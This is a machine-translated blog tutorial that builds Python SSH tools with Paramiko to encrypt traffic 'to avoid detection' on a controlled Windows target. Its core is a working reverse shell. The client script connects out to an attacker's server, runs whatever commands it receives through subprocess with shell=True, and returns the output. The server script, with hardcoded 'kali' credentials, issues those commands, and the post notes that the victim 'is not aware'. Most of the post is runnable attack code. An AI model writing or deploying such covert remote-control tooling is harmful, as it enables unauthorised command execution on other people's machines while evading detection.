This blog address :https://security.blog.csdn.net/article/details/125306100
occasionally , We need to encrypt our traffic to avoid detection , A commonly used method is through SSH Encrypted communication . But a lot of times , The goal of control is to have no SSH Client's , Developed at this time SSH The client comes in handy .
frequently-used python Kuo is Paramiko, It is based on PyCrypto Third party libraries developed , To understand how this library works , We will use Paramiko Connect to a computer with SSH Machine , Execute the command above ; utilize Paramiko To write SSH Servers and clients , Use them in Windows Execute commands remotely on the system .
This example will use Paramiko The built-in reverse tunnel instance program , To achieve and BHNET The proxy function of the tool has the same effect .
First , Download a copy of Paramiko The official code of , Address :https://github.com/paramiko/paramiko
The details have been explained in the code comments .
ssh_cmd.py
#!/usr/bin/python
#-*- coding:utf8 -*-
import paramiko
# This function is directed to SSH The server initiates the connection and executes a command
def ssh_command(ip, port, user, passwd, cmd):
client = paramiko.SSHClient()
# Support key authentication instead of password authentication , It is recommended to use key authentication in the actual environment
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Here for simplicity , User name password authentication is still supported
client.connect(ip, port=port, username=user, password=passwd)
# Automatically trust and remember the public key sent by the server , If the connection is successful , They began to pass it on to ssh_command The command of the function
_, stdout, stderr = client.exec_command(cmd)
output = stdout.readlines() + stderr.readlines()
# If this command produces output , Just print it line by line
if output:
print ('--- output ---')
for line in output:
print(line.strip())
if __name__ == '__main__':
import getpass
# Require a user name
user = input('username: ')
# Input password ,getpass Function to make the entered password not displayed on the screen
password = getpass.getpass()
# Read IP Address 、 port 、 Commands to execute
ip = input("enter server IP: ") or '127.0.0.1'
port = input("enter server PORT or <CR>: ") or 2222
cmd = input('enter command or <CR>: ') or 'id'
# Give it to ssh_command Function execution
ssh_command(ip, port, user, password, cmd)
Run the example :
You can see , We successfully connected and executed this command
The details have been explained in the code comments .
ssh_cmd.py
#!/usr/bin/python
#-*- coding:utf8 -*-
import shlex
import paramiko
import subprocess
# This function is directed to SSH The server initiates the connection and executes a command
def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
# Support key authentication instead of password authentication , It is recommended to use key authentication in the actual environment
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Here for simplicity , User name password authentication is still supported
client.connect(ip, port=port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print (ssh_session.recv(1024).decode())
while True:
# from SSH The connection is constantly reading commands
command = ssh_session.recv(1024)
try:
cmd = command.decode()
if cmd == 'exit':
client.close()
break
# Execute commands locally
cmd_output = subprocess.check_output(shlex.split(cmd),shell=True)
# And send the results back to the server
ssh_session.send(cmd_output or 'okay')
except Exception as e:
ssh_session.send(str(e))
client.close()
return
if __name__ == '__main__':
import getpass
# Require a user name , The user name here must be entered in clear text
user = input('username: ')
# Input password
password = getpass.getpass()
# Read IP Address 、 port
ip = input('enter server IP:')
port = input('enter port:')
# Give it to ssh_command Function execution
ssh_command(ip, port, user, password, 'ClientConnected')
because windows The system doesn't come with SSH The server , So we need to turn it around , Let one SSH Server to SSH Client sends command .
The details have been explained in the code comments .
ssh_server.py
#!/usr/bin/python
#-*- coding:utf8 -*-
import socket
import paramiko
import threading
import sys
import os
# Use Paramiko The key of the sample file , namely github Medium
CWD = os.path.dirname(os.path.realpath(__file__))
HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))
# Put the monitor SSH turn
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'kali') and (password == 'kali'):
return paramiko.AUTH_SUCCESSFUL
if __name__ == '__main__':
server = '192.168.153.141'
ssh_port = 2222
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# here value Set to 1, It means that you will SO_REUSEADDR Marked as TRUE
# The operating system will run on the server socket Release the port of the server immediately after it is shut down or the server process is terminated
# Otherwise, the operating system will keep the port for a few minutes .
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# binding ip And port
sock.bind((server, ssh_port))
# The maximum number of connections is 100
sock.listen(100)
print ('[+] Listening for connection ...')
client, addr = sock.accept()
except Exception as e:
print ('[-] Listen failed: ' + str(e))
sys.exit(1)
else:
print ('[+] Got a connection!', client, addr)
# Set the authority authentication method
bhSession = paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server)
# Set the timeout value to 20
chan = bhSession.accept(20)
if chan is None:
print ('*** No channel')
sys.exit(1)
# The client has passed the authentication
print('[+] Authenticated!')
# send out ClientConnected command
print (chan.recv(1024))
chan.send("Welcome to bh_ssh")
# stay SSH Any command running on the server , Will be sent to SSH client , And execute on the client , The execution result will be returned to SSH The server
try:
while True:
command = input("Enter command:")
if command != 'exit':
chan.send(command)
r = chan.recv(8192)
print (r.decode())
else:
chan.send('exit')
print ('exiting')
bhSession.close()
break
except KeyboardInterrupt:
bhSession.close()
First run the server :
After the windows Run the client on :
At this time, in the server , You can see the connection of the client , Then you can run some commands ( yes windows Client command ):
here windows The client is not aware .